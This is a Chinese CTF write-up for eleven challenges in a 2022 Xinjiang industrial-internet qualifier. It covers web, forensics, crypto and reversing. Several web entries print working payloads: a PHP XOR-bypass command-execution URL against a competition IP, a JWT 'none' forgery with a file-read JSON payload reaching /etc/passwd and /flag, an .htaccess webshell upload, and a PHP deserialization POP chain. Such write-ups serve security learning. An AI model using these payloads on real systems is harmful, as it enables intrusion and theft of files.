青衿之志,履践致远

2022新疆工业互联网初赛部分WP

CTF记录“2022新疆工业互联网初赛” XJUSEC-NEW 初赛 writeup

1.1 RCEME

flag: flag{b96fba5978ff302af15589d323c92e73}

解题思路说明:

原题

解题过程:

照着这个文章直接抄payload

https://ljdd520.github.io/2021/01/28/TetCTF%E9%83%A8%E5%88%86web%E9%A2%98%E8%A7%A3/

http://39.107.119.241:51004/?calc=%2700040000020000%27%5E%27%2B8-~021%29%2B85030%27%5E%27~~%7C%26%28%26%5E%5E%5E%5E%5E1%5E%29%27&1=echo%20system(%27cat%20flag.php%27);

先用ls看看文件,然后用上边那个payload拿flag

f12看见flag

1.2 simple_node

flag:flag{6f7a5ce3c20e154b566d5e548658d761}

解题思路说明:

jwt伪造,然后利用js的弱类型的绕过,最后利用nodejs的一个特性让其能进行url解码

解题过程:

先代码审计:

app.post('/register', function (req, res) {
    const username = req.body.name;
    if ( username == 'admin'){
        res.send("admin not allowed");
        return
    }
    const token = jwt.sign({username}, secret, {algorithm: 'HS256'});
    res.send({token: token});
});

app.post('/login', function (req, res) {
    const token = req.body.auth
    try {
        jwt.verify(token, secret, {algorithm: 'HS256'},function (_,user){
            console.log(user)
            req.session.user = {"username":user.username}
        });
    }catch (e) {
        res.send("login error")
        return
    }
    res.send(req.session.user.username + " login successfully")
});

app.post('/readfile', function (req, res) {
    if (req.session.user.username !== "admin"){
        res.send("only admin can get flag")
        return
    }
    if (typeof req.body["secret"] !== "number"){
        //仅允许16进字符串
        let regex_pattern = /^[a-fA-F\d.]+$/
        if (!regex_pattern.test(req.body["secret"])){
            res.send("only valid string under 16 radix allowed")
            return
        }
    }
    if (req.body.file && parseInt(req.body["secret"],16) === 158 && parseFloat(req.body["secret"]) < 9){
        let file_param = JSON.stringify(req.body.file)
        if (file_param.includes("flag") || file_param.includes("fd")) {
            res.send("flag not allowed")
            return
        }else {
            res.setHeader("Content-Type", "text/html");
            res.send(fs.readFileSync(req.body.file || "app.js").toString())
            return
        }
    }
    res.send("try to read /flag")
});
app.get('/', function (req, res) {
    res.send('see `/src`');
});
# 先通过注册页面产生jwt,然后login的时候判断jwt的内容,并将username回显出来,然后在读flag的页面判断是不是admin,如果是就进入下面的if判断里。

但是node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密。

所有可以根据下面的脚本构造内容,来以admin用户的身份登录

然后就是对if的绕过,首先如果传入的是secret是数字类型的,就需要经过一个只允许a-f和数字、小数点的正则判断,然后对其内容经过parseIntparseFloat的一个判断。这个可以通过科学计数法和parseInt的缺陷来实现

这里需要传入的内容是

{"secret":9e-99,"file":"/etc/passwd"},这可以读出/etc/passwd的文件内容。(这块好像是大于7就可以

但是不能直接读出flag的内容,这里是利用nodejs的一个特点

https://brycec.me/posts/corctf_2022_challenges#simplewaf

我们只需要将这块改一改变成json的格式就行了

最终payload

{"secret":9e-10,"file":{"href":"a","origin": "a","protocol":"file:","hostname":"","pathname":"/fl%61g" }}

1.3 checkin

flag:flag{50189081b04ef94ab5da082888a2aeba}

解题思路说明:

通过分析http响应头的信息,解码给出的base64线索,获得flag。

解题过程:

首先查看相应数据,发现有线索:

解码后得到S3cRet.php,访问,发现要求用HEICORE浏览器登录。抓包修改ua头即可获得flag.

base64解码后得到flag{50189081b04ef94ab5da082888a2aeba}

1.4 Ezupload

flag:flag{87e0080c4c82f490f78baba325ba037a}

解题思路说明:

上传.htaccess文件改变解析规则,然后上传webshell获取flag。

解题过程:

先上传一个.htaccess文件,然后上传shell读取flag:

.htaccess
SetHandler application/x-httpd-php

shell.jpg

1.5 ezpop

flag:flag{7cf03b839cd4898e7fdb60107b72bd29}

解题思路说明:

利用toString方法调用File对象中的include,并用php伪协议绕过过滤读取flag

解题过程

构造pop:

file=$file;
    }
}

class User
{
    private $lastName;
    private $firstName;
    private $email;

    public function __construct($lastName, $firstName, $email)
    {
        $this->lastName = $lastName;
        $this->firstName = $firstName;
        $this->email = $email;
    }
}
$file2 = new File('php://filter/convert.base64-encode/resource=flag.php');
$user = new User($file2,'aa','nn');
$file1 = new File($user);
echo urlencode(serialize($file1));
?>

然后得到payload,获取flag.

1.6 ez_steg

flag:CTF{a73d1bceefe07c7cd8c5abec26100c6d}

解题思路说明:

第一层伪加密,第二层文本颠倒,winhex导出图片crc爆破改宽高,然后lsb爆破,第三层zip明文攻击

解题过程:

伪加密用ZipCenOp.jar跑即可,命令: java -jar ZipCenOp.jar -r xxx.zip

进入第二层,获得文本,观察最后几行是倒过来的png文件头,用工具颠倒文本,复制到winhex保存得到png。

爆破crc和lsb:

找到两个密码,打开压缩包

可以发现校验码相同,可知识明文攻击,用winrar重压key图片,跑ARCH:

1.7 EZSHELL

flag:flag{e51ffe43-d7c3-48fa-a44b-14ddb3499aa2}

解题思路说明:

从流量包里找到对应的恶意代码,拿到压缩包,然后根据提示形成密码,拿到flag

解题过程:

先把流量包里的东西都分出来,然后扔了seay里试试运气,看能不能直接找到shell

没啥发现之后全局搜索一些特殊函数,比如system之类的。然后能够找到一些类似蚁剑连接的流量,然后里边有一段16进制的内容,先十六进制转换然后base64解码看一下。

还有

能知道flag应该是在f14g这个文件里,然后全局搜索

看到了这个之后本地环境里执行一下,生成一个有密码的压缩包

过滤一下,然后对着红框那列收集开放端口,然后挨个试一试

最后去掉几个有点问题的端口之后,组合成密码的端口是80,105,888,3306,4320,8888

1.8 ez_usb

flag: flag{c6bd1c7bcfef89ffbf59d86ccaf97d3c}

解题思路说明:

参考今年国赛初赛的usb题目,用wireshark导出usb流量然后用脚本跑即可发现隐藏内容,分析文件头一个是rar一个是密码,解开即可。

解题过程:

用wireshark筛选 usb.src == "2.8.1" 以及usb.src == "2,10.1"

找到文件,导出特定分组得到两个文件:

上次用的祖传脚本:

#!/usr/bin/env python

import sys
import os

DataFileName = "usb.dat"

presses = []

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"","29":"","2a":"", "2b":"\t","2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"","33":";","34":"'","35":"","36":",","37":".","38":"/","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"","29":"","2a":"", "2b":"\t","2c":"","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"","34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}

def main():
    # check argv
    if len(sys.argv) != 2:
        print("Usage : ")
        print("        python UsbKeyboardHacker.py data.pcap")
        print("Tips : ")
        print("        To use this python script , you must install the tshark first.")
        print("        You can use `sudo apt-get install tshark` to install it")
        print("Author : ")
        print("        WangYihang ")
        print("        If you have any questions , please contact me by email.")
        print("        Thank you for using.")
        exit(1)

    # get argv
    pcapFilePath = sys.argv[1]

    # get data of pcap
    os.system("tshark -r %s -T fields -e usb.capdata 'usb.data_len == 8' > %s" % (pcapFilePath, DataFileName))

    # read data
    with open(DataFileName, "r") as f:
        for line in f:
            presses.append(line[0:-1])
    # handle
    result = ""
    for press in presses:
        if press == '':
            continue
        if ':' in press:
            Bytes = press.split(":")
        else:
            Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
        if Bytes[0] == "00":
            if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
                result += normalKeys[Bytes[2]]
        elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed.
            if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
                result += shiftKeys[Bytes[2]]
        else:
            print("[-] Unknow Key : %s" % (Bytes[0]))
    print("[+] Found : %s" % (result))

    # clean the temp data
    os.system("rm ./%s" % (DataFileName))

if __name__ == "__main__":
    main()

分别跑可以发现第一个文件是rar开头,第二个是密码

删除以及前面的字母,用winhex新建出rar文件

解密得flag,包上flag提交。

1.9 我是ASCII;

flag:flag{1bc980381a64e26ac1514081a99599b6}

解题思路说明:

换位,然后解码然后再换位,再解码

解题过程:

一眼有点像Unicode,但是Unicode编码是&#开头,而题目里的每组里都有&和#,所以换个位然后再解码

&MZWGCZ33GF[0-1]LBGY2GKMRW#RGGOJYGAZTQM\dMFRTCNJRGQY;OJZMI3H2===\dDQMLBHE4TK

得到的内容感觉有点像base32,但是有一些特殊的内容,所以把这些特殊的东西都分出来

&MZWGCZ33GF[0-1]LBGY2GKMRW#RGGOJYGAZTQM\dMFRTCNJRGQY;OJZMI3H2===\dDQMLBHE4TK

进行一个分组

去掉这些特殊字符,然后再重组一下,就能拿到flag

1.10 Wilson_RSA

flag:flag{b21fc14a2361144f26d43c4c4fc5dfbc}

解题思路说明:

根据题目提示是威尔逊定理,先将p和q求出来,然后应用在for循环的补全上。

pq可以根据给出的2^e%n推导出来k倍的n然后分解出来。

解题过程:

根据2^e%n和e = 1049 可以得到公式:

n*k = 2^e - 2^e(modn)

用yafu分解得到p和q:

得到p和q后根据威尔逊定理可以得出:

( p -1)! ≡ -1 (mod p),但是题目中只有 m×(p-q) !(mod n)的值,

所以根据得到的p和q就可以得到m×(p-1)! (mod n)的值,

进一步就可以得到m×(p-1)! (mod p)

由此可以得到m

下面是代码:

import gmpy2
from Crypto.Util import number
e = 1049
c = 3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270
n1 = 4513855932190587780512692251070948513905472536079140708186519998265613363916408288602023081671609336332823271976169443708346965729874135535872958782973382975364993581165018591335971709648749814573285241290480406050308656233944927823668976933579733318618949138978777831374262042028072274386196484449175052332019377
kn = pow(2,e) - n1
print(kn)
# yafu分解kn得到p和q

p = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231
q = 34211
n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
for i in range(p-q,p):
    m = -1*(m*i%n)%p
print(number.long_to_bytes(m))

把flag中的字符串md5一下即可提交。

1.11 travel_overseas

flag:flag{753a5924a9ab2163d390410d0a1f6701}

解题思路说明:

先python反编译,然后aes解密

解题过程:

直接扔了exeinfo里发现是用pyinstaller打包的

所以用pyinstxtractor.py反编译一下,拿到pyc文件

再用uncompyle6把pyc的文件反编译成py的

然后可以直接查看代码

题目先异或,然后aes加密

所以百度找个脚本稍微一改解密一下

有密钥和密文换上去就行

添加新评论